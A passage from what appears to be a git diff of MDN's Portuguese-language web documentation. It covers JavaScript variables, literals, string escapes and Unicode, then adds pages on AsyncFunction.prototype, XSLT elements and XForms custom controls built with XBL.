Em expressões envolvendo valores numéricos e strings com o operador +, o JavaScript converte valores numérios para string. Por exemplo, considere as seguintes declarações:

+ +
x = "A resposta é " + 42 // retorna "A resposta é 42"
+y = 42 + " é a resposta" // retorna "42 é a resposta"
+
+ +

Em declarações envolvendo outros operadores, o JavaScript não converte valores numérico para strings. Por exemplo:

+ +
"37" - 7 // retorna 30
+"37" + 7 // retorna "377"
+ +

Variáveis

+ +

Variáveis são usadas como nomes simbólicos para valores em sua aplicação. Os nomes das variáveis, chamadas identificadores, de acordo com certas regras.

+ +

Um identificador JavaScript deve começar com uma letra, sublinhado (_), ou cifrão ($); caracteres subsequentes podem também ser dígitos (0-9). Como o JavaScript é sensível a maiúsculas, as letras incluem os caracteres de "A" até "Z" (maiúsculas) e os caracteres de "a" até "z" (minúsculas).

+ +

A partir do JavaScript 1.5 é possível usar letras em ISO 8859-1 ou Unicode tais como å e ü nos identificadores. Também é possível usar as Sequências de escape em Unicode \uXXXX como caracteres nos identificadores.

+ +

Alguns exemplos de nomes possíveis são: Number_hits, temp99 e _name.

+ +

Declaração de variáveis

+ +

Você pode declarar uma variável de duas maneiras:

+ + + +

Avaliação de variáveis

+ +

Uma variável declarada usando-se a declaração var sem possuir um valor inicial especificado possui o valor undefined.

+ +

Uma tentativa de acesso a uma variável não declarada resultará no lançamento de uma exceção ReferenceError:

+ +
var a;
+print("O valor de a é " + a); // imprime "O valor de a é undefined"
+print("O valor de b é " + b); // lança a exceção ReferenceError
+
+ +

Você pode usar undefined para determinar quando uma variável possui um valor. No código a seguir, a variável input não possui um valor atribuido e a declaração if é avaliada como true.

+ +
var input;
+if(input === undefined){
+  doThis();
+} else {
+  doThat();
+}
+
+ +

O valor undefined comporta-se como false quando usado em um contexto booleano. Por exemplo, o código a seguir executa a função myFunction porque o elemento myArray não está definido:

+ +
var myArray = new Array();
+if (!myArray[0]) myFunction();
+
+ +

Quando você avalia uma variável nula, o valor nulo comporta-se como um 0 no contexto numérico e como falso em contextos booleanos. Por exemplo

+ +
var n = null;
+print(n * 32); // imprime 0
+
+ +

Escopo de variáveis

+ +

Quando uma variável é declarada de fora de qualquer função, ele é chamada de variável global, pois ela está disponível para qualquer outro código no documento atual. Quando você declara uma variável dentro de uma função, ela é chamada de variável local, pois ela está disponível somente dentro dessa função.

+ +

O JavaScript não possui um escopo de declaração de blocos (en); ao contrário, será local para o código interno ao bloco. Por exemplo, o código a seguir imprimirá 0 ao invés de lançar a exceção ReferenceError se condition é false:

+ +
if (condition) {
+  var x = 5;
+}
+print(x ? x : 0);
+
+ +

Outra coisa não usual sobre variáveis em JavaScript é que é possível referir-se a uma variável declarada depois, sem receber uma exceção. Este conceito é conhecido como hoisting; as variáveis no JavaScript são levadas para o topo da função ou da declaração.  Entretanto, as variáveis não inicializadas retornarão um valor undefined.

+ +
print(x === undefined); // prints "true"
+var x = 3;
+
+//will return a value of undefined
+var myvar = "my value";
+
+(function() {
+  alert(myvar);//undefined
+  var myvar = "local value"
+})();
+
+ +

Variáveis globais

+ +

necessário links para as páginas discutindo cadeias no âmbito do objeto global Variáveis globais são, na verdade, propriedade de um objeto global. Em páginas web o objeto global é window, então você pode configurar e acessar variáveis globais usando a sintaxe window.variable.

+ +

Consequentemente, você pode acessar variáveis globais declaradas em uma janela ou quadro de alguma outra janela ou quadro, especificando o nome do mesmo. Por exemplo, se uma variável chamada phoneNumber é declarada em um documento FRAMESET, você pode referir-se a esta variável a partir de um frame herdeiro como parent.phoneNumber.

+ +

Veja também

+ +

Sharp variables in JavaScript (en)

+ +

Constantes

+ +

Você pode criar elementos "somente leitura", nomeados constantes com a palavra chave const. A sintaxe de um identificador constante é a mesma para um identificador de variáveis: deve começar com uma letra ou sublinhado e pode conter caracteres alfabéticos, numéricos ou sublinhado.

+ +
const prefix = '212';
+
+ +

Uma constante não pode ter seu valor mudado através de uma atribuição ou ser declarada novamente enquanto o script estiver rodando.

+ +

As regras de escopo para constantes são as mesmas que as das variáveis, exceto que a palavra chave const é sempre necessária, mesmo para constantes globais. Se uma palavra chave é omitida, o identificador é assumido como uma variável.

+ +

Você não pode declarar uma constante com o mesmo nome de uma função ou variável no mesmo escopo. Por exemplo:

+ +
// ISTO CAUSARA UM ERRO
+function f() {};
+const f = 5;
+
+// ISTO TAMBEM CAUSARA UM ERRO
+function f() {
+  const g = 5;
+  var g;
+
+  // declaracoes
+}
+
+ +

Literais

+ +

Você usa literais para representar valores em JavaScript. Estes valores são fixos, não variáveis, que você fornece literalmente no seu script. Esta seção descreve os seguintes tipos de literais:

+ + + +

Ordenação de literais

+ +

Um literal ordenado é uma lista de zero ou mais expressões, cada qual representando um elemento ordenado, armazenado em colchetes ([]). Quando você cria uma ordenação usando um literal ordenado, ele é inicializado com os valores especificados como seus elementos e seu comprimento configurado para o número de argumentos especificados.

+ +

O exemplo a seguir cria uma ordenação coffees com três elementos e o comprimento de três:

+ +
var coffees = ["French Roast", "Colombian", "Kona"];
+
+ +

Nota Uma ordenação literal é um tipo de inicializador de objeto. Veja Using Object Initializers (en).

+ +

Se uma ordenação é criada usando um literal em um alto nível de script, o JavaScript interpreta a ordenação cada vez que uma expressão contendo a ordenação literal é avaliada. Adicionalmente, um literal usado em uma função é criado cada vez que a função é chamada.

+ +

Ordenações literais são também objetos Array.  Veja Array Object (en) para detalhes sobre objetos Array.

+ +

Vírgulas extras em literais ordenados

+ +

Não é necessário especificar todos os elementos de um literal ordenado. Se forem colocadas duas vírgulas em uma coluna, a ordenação é criada com espaços para elementos não especificados. O exemplo seguinte mostra a ordenação fish:

+ +
var fish = ["Lion", , "Angel"];
+
+ +

Esta ordenação possui dois elementos com valores e um elemento vazio (fish[0] é "Lion", fish[1] é undefined e fish[2] é "Angel").

+ +

Caso seja inserida uma última vírgula ao fim da lista de elementos, a vírgula é ignorada. No exemplo a seguir, o comprimento da ordenação é três. Não há myList[3]. Todas as outras vírgulas da lista indicam um novo elemento.

+ +
var myList = ['home', , 'school', ];
+
+ +

No exemplo a seguir, o comprimento da ordenação é quatro, e myList[0] e myList[2] estão faltando.

+ +
var myList = [ , 'home', , 'school'];
+
+ +

No exemplo seguinte, o comprimento da ordenação é quatro, e  myList[1] e myList[3] estão faltando. Somente a última vírgula é ignorada.

+ +
var myList = ['home', , 'school', , ];
+
+ +

Booleanos literais

+ +

O tipo Booleano possui dois valores literais: true e false.

+ +

Não confunda-os com os valores Booleanos primitivos true e false com os valores verdadeiro e falso do objeto Booleano. O objeto Booleano é um invólucro ao redor do tipo de dado Booleano. Veja Boolean Object (en) para mais informações.

+ +

Inteiros

+ +

Inteiros podem ser expressos na base decimal (base 10), hexadecimal (base 16) e octal (base 8). Um inteiro decimal literal consiste em uma sequência de dígitos sem um 0 (zero) no início. Um 0 (zero) no início de um inteiro literal indica que se trata de um octal; um 0x (ou 0X) indica hexadecimal. Inteiros hexadecimais podem incluir dígitos (0-9) e as letras de a-f e A-F. Inteiros octais podem incluir somente dígitos 0-7.

+ +

Inteiros octais literais são obsoletos e foram removidos do padrão ECMA-262, Edição 3. O JavaScript 1.5 ainda os suporta para compatibilidade com versões anteriores.

+ +

Alguns exemplo de inteiros literais são:

+ +
0, 117 e -345 (decimal, base 10)
+015, 0001 e -077 (octal, base 8)
+0x1123, 0x00111 e -0xF1A7 (hexadecimal, "hex" ou base 16)
+
+ +

Pontos flutuantes literais

+ +

Um literal de ponto flutuante pode possuir as seguintes partes:

+ + + +

A parte do expoente é um "e" ou "E" seguido por um inteiro, o qual pode ser assinado (precedido por "+" ou "-"). Um literal de ponto flutuante deve ter ao menos um dígito e um ponto decimal ou "e" (ou "E").

+ +

Alguns exemplos de pontos flutuantes literais são 3.1415, -3.1E12, .1e12, and 2E-12.

+ +

Mais claramente, a sintaxe é:

+ +
[digitos][.digitos][(E|e)[(+|-)]digitos]
+
+ +

Por exemplo:

+ +
3.14
+2345.789
+.3333333333333333333
+
+ +

Objetos literais

+ +

An object literal is a list of zero or more pairs of property names and associated values of an object, enclosed in curly braces ({}). You should not use an object literal at the beginning of a statement. This will lead to an error or not behave as you expect, because the { will be interpreted as the beginning of a block.

+ +

The following is an example of an object literal. The first element of the car object defines a property, myCar; the second element, the getCar property, invokes a function (CarTypes("Honda")); the third element, the special property, uses an existing variable (Sales).

+ +
var Sales = "Toyota";
+
+function CarTypes(name) {
+  if (name == "Honda")
+     return name;
+  else
+     return "Sorry, we don't sell " + name + ".";
+}
+
+var car = { myCar: "Saturn", getCar: CarTypes("Honda"), special: Sales };
+
+document.write(car.myCar);   // Saturn
+document.write(car.getCar);  // Honda
+document.write(car.special); // Toyota
+
+ +

Additionally, you can use a numeric or string literal for the name of a property or nest an object inside another. The following example uses these options.

+ +
var car = { manyCars: {a: "Saab", "b": "Jeep"}, 7: "Mazda" };
+
+document.write(car.manyCars.b); // Jeep
+document.write(car[7]); // Mazda
+
+ +

Please note:

+ +
var foo = {a: "alpha", 2: "two"};
+document.write(foo.a);    // alpha
+document.write(foo[2]);   // two
+//document.write(foo.2);  // Error: missing ) after argument list
+//document.write(foo[a]); // Error: a is not defined
+document.write(foo["a"]); // alpha
+document.write(foo["2"]); // two
+
+ +

Strings literais

+ +

A string literal is zero or more characters enclosed in double (") or single (') quotation marks. A string must be delimited by quotation marks of the same type; that is, either both single quotation marks or both double quotation marks. The following are examples of string literals:

+ + + +

You can call any of the methods of the String object on a string literal value—JavaScript automatically converts the string literal to a temporary String object, calls the method, then discards the temporary String object. You can also use the String.length property with a string literal:

+ +
"John's cat".length
+
+ +

You should use string literals unless you specifically need to use a String object. See String Object for details on String objects.

+ +

Usando caracteres especiais em strings

+ +

In addition to ordinary characters, you can also include special characters in strings, as shown in the following example.

+ +
"one line \n another line"
+
+ +

The following table lists the special characters that you can use in JavaScript strings.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Table 2.1 JavaScript special characters
CharacterMeaning
\bBackspace
\fForm feed
\nNew line
\rCarriage return
\tTab
\vVertical tab
\'Apostrophe or single quote
\"Double quote
\\Backslash character (\).
\XXXThe character with the Latin-1 encoding specified by up to three octal digits XXX between 0 and 377. For example, \251 is the octal sequence for the copyright symbol.
\xXXThe character with the Latin-1 encoding specified by the two hexadecimal digits XX between 00 and FF. For example, \xA9 is the hexadecimal sequence for the copyright symbol.
\uXXXXThe Unicode character specified by the four hexadecimal digits XXXX. For example, \u00A9 is the Unicode sequence for the copyright symbol. See Unicode Escape Sequences.
+ +

Caracteres de escape

+ +

For characters not listed in Table 2.1, a preceding backslash is ignored, but this usage is deprecated and should be avoided.

+ +

You can insert a quotation mark inside a string by preceding it with a backslash. This is known as escaping the quotation mark. For example:

+ +
var quote = "He read \"The Cremation of Sam McGee\" by R.W. Service.";
+document.write(quote);
+
+ +

The result of this would be:

+ +
He read "The Cremation of Sam McGee" by R.W. Service.
+
+ +

To include a literal backslash inside a string, you must escape the backslash character. For example, to assign the file path c:\temp to a string, use the following:

+ +
var home = "c:\\temp";
+
+ +

You can also escape line breaks by preceding them with backslash.  The backslash and line break are both removed from the value of the string.

+ +
var str = "this string \
+is broken \
+across multiple\
+lines."
+ +

Although JavaScript does not have "heredoc" syntax, you can get close by adding a linebreak escape and an escaped linebreak at the end of each line:

+ +
var poem =
+"Roses are red,\n\
+Violets are blue.\n\
+I'm schizophrenic,\n\
+And so am I."
+
+ +

Unicode

+ +

Unicode is a universal character-coding standard for the interchange and display of principal written languages. It covers the languages of the Americas, Europe, Middle East, Africa, India, Asia, and Pacifica, as well as historic scripts and technical symbols. Unicode allows for the exchange, processing, and display of multilingual texts, as well as the use of common technical and mathematical symbols. It hopes to resolve internationalization problems of multilingual computing, such as different national character standards. Not all modern or archaic scripts, however, are currently supported.

+ +

The Unicode character set can be used for all known encoding. Unicode is modeled after the ASCII (American Standard Code for Information Interchange) character set. It uses a numerical value and name for each character. The character encoding specifies the identity of the character and its numeric value (code position), as well as the representation of this value in bits. The 16-bit numeric value (code value) is defined by a hexadecimal number and a prefix U, for example, U+0041 represents A. The unique name for this value is LATIN CAPITAL LETTER A.

+ +

Unicode is not supported in versions of JavaScript prior to 1.3.

+ +

Compatibilidade do Unicode com ASCII e ISO

+ +

Unicode is fully compatible with the International Standard ISO/IEC 10646-1; 1993, which is a subset of ISO 10646.

+ +

Several encoding standards (including UTF-8, UTF-16 and ISO UCS-2) are used to physically represent Unicode as actual bits.

+ +

The UTF-8 encoding of Unicode is compatible with ASCII characters and is supported by many programs. The first 128 Unicode characters correspond to the ASCII characters and have the same byte value. The Unicode characters U+0020 through U+007E are equivalent to the ASCII characters 0x20 through 0x7E. Unlike ASCII, which supports the Latin alphabet and uses a 7-bit character set, UTF-8 uses between one and four octets for each character ("octet" meaning a byte, or 8 bits.) This allows for several million characters. An alternative encoding standard, UTF-16, uses two octets to represent Unicode characters. An escape sequence allows UTF-16 to represent the whole Unicode range by using four octets. The ISO UCS-2 (Universal Character Set) uses two octets.

+ +

JavaScript and Navigator support for UTF-8/Unicode means you can use non-Latin, international, and localized characters, plus special technical symbols in JavaScript programs. Unicode provides a standard way to encode multilingual text. Since the UTF-8 encoding of Unicode is compatible with ASCII, programs can use ASCII characters. You can use non-ASCII Unicode characters in the comments, string literals, identifiers, and regular expressions of JavaScript.

+ +

Sequências de escape em Unicode

+ +

You can use the Unicode escape sequence in string literals, regular expressions, and identifiers. The escape sequence consists of six ASCII characters: \u and a four-digit hexadecimal number. For example, \u00A9 represents the copyright symbol. Every Unicode escape sequence in JavaScript is interpreted as one character.

+ +

The following code returns the copyright symbol and the string "Netscape Communications".

+ +
var x = "\u00A9 Netscape Communications";
+ +

The following table lists frequently used special characters and their Unicode value.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Table 2.2 Unicode values for special characters
CategoryUnicode valueNameFormat name
White space values
+  
+  
+  
\u0009Tab<TAB>
\u000BVertical Tab<VT>
\u000CForm Feed<FF>
\u0020Space<SP>
Line terminator values
+  
\u000ALine Feed<LF>
\u000DCarriage Return<CR>
Additional Unicode escape sequence values
+  
+  
+  
+  
\u0008Backspace<BS>
\u0009Horizontal Tab<HT>
\u0022Double Quote"
\u0027Single Quote'
\u005CBackslash\
+ +

The JavaScript use of the Unicode escape sequence is different from Java. In JavaScript, the escape sequence is never interpreted as a special character first. For example, a line terminator escape sequence inside a string does not terminate the string before it is interpreted by the function. JavaScript ignores any escape sequence if it is used in comments. In Java, if an escape sequence is used in a single comment line, it is interpreted as an Unicode character. For a string literal, the Java compiler interprets the escape sequences first. For example, if a line terminator escape character (e.g., \u000A) is used in Java, it terminates the string literal. In Java, this leads to an error, because line terminators are not allowed in string literals. You must use \n for a line feed in a string literal. In JavaScript, the escape sequence works the same way as \n.

+ +

Caracteres Unicode em arquivos JavaScript

+ +

Earlier versions of Gecko assumed the Latin-1 character encoding for JavaScript files loaded from XUL. Starting with Gecko 1.8, the character encoding is inferred from the XUL file's encoding. Please see International characters in XUL JavaScript for more information.

+ +

Exibindo caracteres com Unicode

+ +

You can use Unicode to display the characters in different languages or technical symbols. For characters to be displayed properly, a client such as Mozilla Firefox or Netscape needs to support Unicode. Moreover, an appropriate Unicode font must be available to the client, and the client platform must support Unicode. Often, Unicode fonts do not display all the Unicode characters. Some platforms, such as Windows 95, provide partial support for Unicode.

+ +

To receive non-ASCII character input, the client needs to send the input as Unicode. Using a standard enhanced keyboard, the client cannot easily input the additional characters supported by Unicode. Sometimes, the only way to input Unicode characters is by using Unicode escape sequences.

+ +

For more information on Unicode, see the Unicode Home Page and The Unicode Standard, Version 2.0, published by Addison-Wesley, 1996.

+ +
autoPreviousNext("JSGChapters");
diff --git "a/files/pt-pt/orphaned/web/javascript/o_que_\303\251_o_javascript/index.html" "b/files/pt-pt/orphaned/web/javascript/o_que_\303\251_o_javascript/index.html" new file mode 100644 index 0000000000..4145f9dc58 --- /dev/null +++ "b/files/pt-pt/orphaned/web/javascript/o_que_\303\251_o_javascript/index.html" @@ -0,0 +1,13 @@ +--- +title: O que é o JavaScript +slug: Web/JavaScript/O_que_é_o_JavaScript +--- +

O JavaScript é uma linguagem de programação do lado cliente, ou seja, é processada pelo próprio navegador. +Com o JavaScript podemos criar efeitos especiais para nossas páginas na Web, além +de podermos proporcionar uma maior interatividade com nossos usuários. +O JavaScript é uma linguagem orientada a objetos, ou seja, ela trata todos os elementos da página +como objetos distintos, fascilitando a tarefa da programação. +

Resumindo, o JavaScript é uma poderosa linguagem que deve ser dominada por quem deseja criar páginas Web dinamicas e interativas. +


+--rafael.marcondes92@gmail.com 12:39, 14 Julho 2008 (PDT) +

diff --git a/files/pt-pt/orphaned/web/javascript/reference/global_objects/asyncfunction/prototype/index.html b/files/pt-pt/orphaned/web/javascript/reference/global_objects/asyncfunction/prototype/index.html new file mode 100644 index 0000000000..8a085d6986 --- /dev/null +++ b/files/pt-pt/orphaned/web/javascript/reference/global_objects/asyncfunction/prototype/index.html @@ -0,0 +1,55 @@ +--- +title: AsyncFunction.prototype +slug: Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype +translation_of: Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype +--- +
{{JSRef}}
+ +

A propriedade AsyncFunction.prototype representa o objecto prototype {{jsxref("AsyncFunction")}}.

+ +

Description

+ +

Os objectos {{jsxref("AsyncFunction")}} são herdados de AsyncFunction.prototype e não podem ser modificados.

+ +

Propriedades

+ +
+
AsyncFunction.constructor
+
O valor inicial é {{jsxref("AsyncFunction")}}.
+
AsyncFunction.prototype[@@toStringTag]
+
Retorna "AsyncFunction".
+
+ +

Especificações

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ESDraft', '#sec-async-function-constructor-prototype', 'AsyncFunction.prototype')}}{{Spec2('ESDraft')}}Definição inicial ES2017.
+ +

Compatibilidade entre navegadores

+ +
+ + +

{{Compat("javascript.builtins.AsyncFunction.prototype")}}

+
+ +

Ver também

+ + diff --git a/files/pt-pt/orphaned/web/xslt/comunidade/index.html b/files/pt-pt/orphaned/web/xslt/comunidade/index.html new file mode 100644 index 0000000000..04308fdeaa --- /dev/null +++ b/files/pt-pt/orphaned/web/xslt/comunidade/index.html @@ -0,0 +1,8 @@ +--- +title: Comunidade +slug: Web/XSLT/Comunidade +--- +

Grupo XSLT Portugal +

Onde XSLT é discutido em português para os portugueses. Este grupo dispõe de soluções práticas para problemas comums em XSLT e XPath, assim como, auxiliar principiantes ou menos experientes a resolverem problemas.

Embora o grupo seja dedicado especialmente ao XSLT, não quer dizer que outras tecnologias directamente ligadas não possam ser discutidas, tais como: XML, XPath, XQuery, XML Schema, Schematron, HTML, RSS, CSS, AJAX, etc.

Claro que seria preferível discutir o uso de tecnologias em que predomine o XSLT. +

http://groups.google.com/group/xslt-portugal +

diff --git a/files/pt-pt/orphaned/web/xslt/elementos/index.html b/files/pt-pt/orphaned/web/xslt/elementos/index.html new file mode 100644 index 0000000000..e47f8bed0b --- /dev/null +++ b/files/pt-pt/orphaned/web/xslt/elementos/index.html @@ -0,0 +1,59 @@ +--- +title: Elementos +slug: Web/XSLT/Elementos +tags: + - Referência_XSLT +--- +

+{{ XsltRef() }} +Existem dois tipos de elementos discutidos aqui: elementos de topo de nível e instruções. Um elemento de topo de nível deve aparecer como filho de qualquer <xsl:stylesheet> ou <xsl:transform>. Uma instrução, por outro lado, é associada com o modelo. Uma folha de estilo pode incluir vários modelos. Um terceiro tipo de elemento, não discutido aqui, é o elemento literal do resultado (LRE). Um LRE também aparece em um modelo. Ele consiste em qualquer elemento não-instrução que deva ser copiado como é para o resultado do documento, por exemplo, o elemento <hr> em uma folha de estilo de conversão HTML. +

Em uma nota relacionada, qualquer atributo em uma LRE e alguns atributos de um número limitado de elementos XSLT podem também ser incluídos como o valor de um atributo do modelo. Um valor de atributo do modelo é simplesmente uma string que inclui uma expressão XPath encaixada que é usada para especificar o valor de um atributo. Na hora de rodar a expressão é avaliada e o resulta da avaliação é substituido pela expressão XPath. Por exemplo, assumindo que a variável "<tt>image-dir</tt>" é definida pelo seguinte: +

+
<xsl:variable name="image-dir">/images</xsl:variable>
+

A expressão para ser avaliada é colocada no interior de chaves: +

+
<img src="{$image-dir}/mygraphic.jpg"/>
+

Isto resultaria no seguinte: +

+
<img src="/images/mygraphic.jpg"/>
+

As anotações do elemento que seguem incluem uma descrição, uma lista de sintaxe, uma lista de atributos requeridos e opcionais, uma descrição do tipo e posição, seu código na W3C Recommendation e uma explanação dos graus presentes do suporte Gecko. +

+ +

Categorias +

Interwiki Language Links +

{{ languages( { "en": "en/XSLT/Elements", "fr": "fr/XSLT/\u00c9l\u00e9ments", "ja": "ja/XSLT/Elements", "pl": "pl/XSLT/Elementy" } ) }} diff --git a/files/pt-pt/orphaned/xforms/controles_customizados/index.html b/files/pt-pt/orphaned/xforms/controles_customizados/index.html new file mode 100644 index 0000000000..ee4e0cf749 --- /dev/null +++ b/files/pt-pt/orphaned/xforms/controles_customizados/index.html @@ -0,0 +1,272 @@ +--- +title: XForms Custom Controls +slug: XForms/Controles_Customizados +tags: + - XForms +--- +

+

Proposta

+

Se você quer criar suas próprias formas dos controles XForm como input, output, trigger, etc., você está no lugar certo. Vamos mostrar tambem como criar controles que funcionam com o modelo XForms e são automaticamente atualizados como os controles XForms. A proposta deste artigo é de fornecer informações suficientes para permitir-lhe um bom início. Para realmente entender as seguintes informações é necessário um bom entendimento de XForms, XBL, JavaScript e CSS. Conhecimentos em XPCOM certamente não farão mal. Mas mesmo que você tenha conhecimentos em sómente algumas destas tecnologias, esperamos que as possibilidades delineadas abaixo o inspirem a aprender mais onde fôr necessário. +

+

Status de implementação

+

O sistema que usamos no processador Mozilla XForms é muito um "trabalho em andamento". Por favor mantenha em mente que tudo que mencionamos aqui pode mudar de algum maneira assim que continuamos a trabalhar no assunto. O trabalho já começou no W3C XForms Working Group a investigar o assunto de controles customizadas, assim eventualmente (esperamos?)que vai existir um caminho "oficial" e comum de customizar suas máscaras de interface de usuário em todos os processadores XForm. +

+

Porque é necessário

+

Você provávelmente vai achar que suas necessidades de customização se encaixam numa das seguintes categorias: +

+ +

Apresentação customizada

+

A extensão Mozilla XForms não pode antecipar todas as possibilidades de uso que vão ser envolvidas em aplicações e páginas web quando XForms amadurece e a base de usuários cresce. E com estas novas formas de usar mais e mais flexibilidade vai ser exigida dos controles. Introduzindo controles customizadas ao seu ambiente pode ser a solução que está procurando. Por exemplo, você pode estar querendo render imagens que estão sendo mantidos dentro de um documento de instancia ou querer mostrar um trigger deshabilitado quando seu nó se torna irrelevante em vez de não mostrá-lo (o atual comportamento padrão). +

Toda apresentação de controle XForms possui seu próprio XBL binding. Em muitos casos valores diferentes fornecidos para os atributos appearance ou mediatype vão determinar qual XBL binding será usado para um controle XForms particular. Como mencionado na especificação, o atributo appearance pode ser usado para influenciar a aparência do controle mesmo que todas as outras condições permanecam constantes. Por exemplo, na extensão Mozilla XForms vamos render uma combobox widget ao appearance='minimal' num controle select1. Se o autor do formulário escolher um appearance='compact' neste controle, vamos desenhar uma listbox widget. Aqui é uma forma fragmentada do nosso arquivo .css para mostrar o tipo de regra CSS que usariamos para tal determinação. +

+
xf|select1[appearance="compact"] {
+  -moz-binding: url('chrome://xforms/content/select-xhtml.xml#xformswidget-select1-compact');
+}
+
+

O atributo mediatype pode ser usado pelo autor do formulário para alinhar o tipo de apresentação com o tipo de data que o bound instance node contém. Por exemplo, se mediatype='image/*' então o usuário deve ver a imagen que os bytes representam em vez da sequência de bytes. +

+
xf|output[mediatype^="image"] {
+  -moz-binding: url('chrome://xforms/content/xforms-xhtml.xml#xformswidget-output-mediatype-anyURI');
+}
+
+

Tipos de dados customizados

+

Se definir um novo tipo de dado esquemático ou usar tipo de data built-in e achar os controles XForms atuais insuficientes, então deve escrever um novo controle customizado. Por exemplo se tiver um nó de instância do tipo xsd:date e quiser que os dados sejam visualizados num formato local. +

Em Mozilla, cada controle XForms ligado tem um atributo typelist de mozType que contém o espaço de nome da cadeia herdada dos tipo de dados que detectamos. O espaço de nome mozType é introduzido pela implementação de Mozilla XForms e suas URI é http://www.mozilla.org/projects/xforms/2005/type. Por exemplo, se um controle é ligado a um nó do tipo xsd:integer e então o atributo typelist será "http://www.w3.org/2001/XMLSchema#integer http://www.w3.org/2001/XMLSchema#decimal". Isto é porque xsd:integer é herdado do tipo de dado xsd:decimal. Recomendamos que use este atributo para criar a regra de ligação CSS para seu controle customizado. Isto lhe permite ligar seu controle customizado para o tipo de dado que está desejando e todo tipo derivado deste tipo desejado. Então se quiser um input ligado a um nó de instância do tipo integer (e todos os tipos derivados de integer), você usaria: +

+
@namespace xf url(http://www.w3.org/2002/xforms);
+@namespace mozType url(http://www.mozilla.org/projects/xforms/2005/type);
+
+xf|input[mozType|typelist~="http://www.w3.org/2001/XMLSchema#integer"] {
+  -moz-binding: url('chrome://xforms/content/input-xhtml.xml#xformswidget-input-integer');
+}
+
+

Controles XForms Avançados

+

Vão existir momentos em que precisa de um controle muito específico a sua tarefa mas também quer que funcione com modelos XForms e nós de instância como um controle XForms regular. A esspecificação XForms fornece uma bela maneira de realizar isto usando atributos ligados XForms (como ref, ou nodeset) no seu elemento de controle customizado. Porém, a implementação de Mozilla XForms atualmente não suporta esta aproximação. Mas existe um caminho para alcançr o mesmo resultado. Você pode pôr os controles dentro da sua ligação XBL. Note que deve assegurar que os controles XForms incorporados funcionam com o tipo de dados do nó de instância ao que seu controle está ligado. Para lhe dar uma ideía sobre o que estamos falando veja a seguir: +

+
<content>
+  <xf:input xbl:inherits="ref=ref1" anonid="ref1"/>
+  <xf:input xbl:inherits="ref=ref2" anonid="ref2"/>
+</content>
+
+<implementation>
+  <method name="refresh">
+    <body>
+      // Aqui devemos renovar o controle customizado.
+    </body>
+  </method>
+
+  <constructor>
+    // Devemos redirecionar chamadas do modo de inputs 'refresh' para controles customizados 'refresh'.
+    var control = this;
+    var refreshStub = function() {
+      control.refresh();
+    }
+
+    this.ref1.refresh = refreshStub;
+    this.ref2.refresh = refreshStub;
+  </constructor>
+
+  <property name="ref1" readonly="true"
+            onget="return this.ownerDocument.getAnonymousElementByAttribute(this, 'anonid', 'ref1');"/>
+  <property name="ref2" readonly="true"
+            onget="return this.ownerDocument.getAnonymousElementByAttribute(this, 'anonid', 'ref2');"/>
+</implementation>
+
+

Nova linguagem Host

+

A implementação Mozilla XForms atualmente somente suporta XForms hospedados em documentos XHTML ou XUL. Se precisar XForms em outros tipos de documentos como SVG, MathML ou alguma outra marca de linguagem que Mozilla suporta, então precisa implementar controles XForms para o formato de documento desejado. A implementação XForms tem ligações básicas XBL para cada controle XForms. Vocè pode escrever ligações de implementação que vão herdar as ligações básicas. Por exemplo, cada implementação de controle output extende a ligação básica xforms.xml#xformswidget-output-base. As peças específicas XHTML de nossa implementação de output é mantido na liagação xforms-xhtml.xml#xformswidget-output. Se desenvolvedores como você quiserem fazer este tipo de trabalho heróico eão por favor contate os desenvolvedores do Mozilla XForms antes de iniciar. Esperamos poder ajudá-lo em evitar um monte de frustração e desespéro:). +

+

Resumo

+

Os controles Mozilla XForms são largamente implementados usando XBL e as ligações são aplicados aos tags de controle individuais XForms via CSS. Assim sempre pode referir-scom nossas atuais e ao nosso source code para obter alguns grandes exemplos de como controles XForms são escritos. Isto também lhe permite estar por dentro das nossas atuais atualizações (muitas vezes o resultado de duras lições) e esperamos que o ajude a escrever seus próprios controles mais facilmente. Para iniciar, realmente só precisa saber a linguagem aonde quer usar XForms (como XHTML ou XUL), alguns XBL e JavaScript, e a interface XPCOM que estamos mostrando. +

+

Detalhes

+

Interfaces

+

Esta secção descreve interfaces que deve conhecer. Existem dois grupos principais de interfaces -> callback interfaces que precisam ser implementados pelos controles customizados e as interfaces que controles customizados podem usar para acessar a Mozilla XForms engine. +

+
nsIXFormsUIWidget
+

Todo controle customizado deve implementar a interface nsIXFormsUIWidget. Esta interface é usada pelo modulo XForms para interagir com o controle básico. De acordo com as regras do XForms, por exemplo, quando o controle precisa ser atualizado, é chamado o método refresh pelo processador. Abaixo encontra-se a estrutura da interface. Como sempre por favor veja diretamente o source code para estar seguro que está usando a versão mais recente: {{ Source("extensions/xforms/nsIXFormsUIWidget.idl") }}. +

+
interface nsIXFormsUIWidget : nsIDOMElement
+{
+  /**
+   * É chamada quando o controle deve ser atualizado para refletir o valor do nó ligado.
+   */
+  void refresh();
+
+  /**
+   * É chamado quando o foco é avançado sobre o elemento XForms.
+   */
+  boolean focus();
+
+  /**
+   * É chamado quando o controle deve ser desabilitado.
+   * Isto realmente só se aplica ao elemento submetido.
+   */
+  void disable(in boolean disable);
+
+  /**
+   * É chamado para obter o valor atual do controle.
+   */
+  string getCurrentValue();
+}
+
+

Notas: +

+ +

Com raras exceções seu controle precisa somente implementar a interface nsIXFormsUIWidget. Mas certos controles XForms precisam implementar interfaces adicionais. Tais elementos incluem upload e case. +

+
nsIXFormsAccessors
+

A interface nsIXFormsAccessors permite acessar o valor e o estado do nó de instância ao qual o controle está ligado (veja {{ Source("extensions/xforms/nsIXFormsAccessors.idl") }}). Interface atual é: +

+
interface nsIXFormsAccessors : nsISupports
+{
+  /**
+   * Valor de retorno do nó de instância.
+   */
+  DOMString getValue();
+
+  /**
+   * Valor nominal do nó de instância.
+   */
+  void setValue(in DOMString value);
+
+  /**
+   * Retorna verdadeiro se o nó de instância é readonly como determinado pelo MDG.
+   */
+  boolean isReadonly();
+
+  /**
+   * Retorna verdadeiro se o nó de instância é relevante como determinado pelo MDG.
+   */
+  boolean isRelevant();
+
+  /**
+   * Retorna verdadeiro se o nó de instância é requerido como determinado pelo MDG.
+   */
+  boolean isRequired();
